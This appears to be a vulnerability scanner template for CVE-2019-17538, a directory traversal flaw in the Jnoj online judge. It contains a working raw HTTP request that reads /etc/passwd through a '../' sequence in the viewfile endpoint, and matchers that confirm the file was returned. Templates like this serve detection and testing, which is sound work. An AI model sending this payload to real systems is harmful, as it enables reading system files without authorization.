id: CVE-2019-17538 info: name: Jnoj Directory Traversal for file reading(LFI) author: pussycat0x severity: high reference: https://github.com/shi-yang/jnoj/issues/53 tags: cve,cve2019,jnoj,lfi requests: - raw: - | GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1 Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" part: body